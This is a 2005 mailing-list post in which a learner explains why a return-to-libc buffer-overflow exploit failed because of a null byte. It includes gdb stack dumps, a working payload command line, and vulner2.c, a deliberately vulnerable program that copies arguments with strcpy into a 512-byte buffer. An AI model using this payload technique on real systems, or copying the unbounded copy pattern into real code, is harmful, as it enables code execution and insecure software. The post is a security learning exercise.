[Comm-en] System call via buffer overflow not working

Aaron McDonald wmcdona89 at hotmail.com
Wed Jan 26 08:39:21 MSK 2005


Well, this has been quite the learning experience. You've helped me to 
realize that \x00 is really just NULL and that printf in C ignores any 
characters specified after \x00. The program vulner1.c was only receiving 
the bytes before the \x00 which were the system() function address. This now 
explains why the system() function was being called with an invalid 
parameter. I've probably spent too much time on this issue but I've 
satisfied my curiosity and I learned how to analyze memory using gdb. I've 
included some gdb details below.

Thanks for the responses on this,
Aaron

----------------------------------------------------------------------------------------------------------------------------------------

//Here's what the stack frame looks like
(gdb) info f
Stack level 0, frame at 0xbffffa00:
eip = 0x80484c6 in main (vulner3.c:21); saved eip 0x157ee0
source language c.
Arglist at 0xbffff9f8, args: argc=2, argv=0xbffffa54
Locals at 0xbffff9f8, Previous frame's sp is 0xbffffa00
Saved registers:
  ebp at 0xbffff9f8, eip at 0xbffff9fc
(gdb) x /4xw 0xbffff9f8
//This shows that none of the memory after the system() function address 
(0x00157ee0) is overwritten
0xbffff9f8:	0x41414141	0x00157ee0	0x00000002	0xbffffa54


//Here's an alternative program that is vulnerable to the return-to-libc 
exploit even when the system() function address contains \x00

./vulner2 $(perl -e 'print "A"x524')$(printf "\xe0\x7e\x15 
\x41\x41\x41\x41\x73\xfb\xff\xbf")

//vulner2.c
#include <stdio.h>

int main(int argc, char *argv[])
{
        char names[512];  //array to hold all the names
        int num_params=argc;
        char **params = argv;
        char *index = names;
        int i;

        if(argc < 2)
        {
                printf("Usage: %s name [name]\n", argv[0]);
                exit(0);
        }

	//copy all the parameters into the names array
        for(i=1; i < num_params; i++) {
                strcpy(index, params[i]);
                index+=strlen(params[i]);
                *(index++)='\0';
        }
        *(index) = '\0';

        index = names;

        while(strlen(index) != 0) {
                printf("Name is: %s\n", index);
                index+=strlen(index) + 1;
        }

        return 0;
}





More information about the community-en mailing list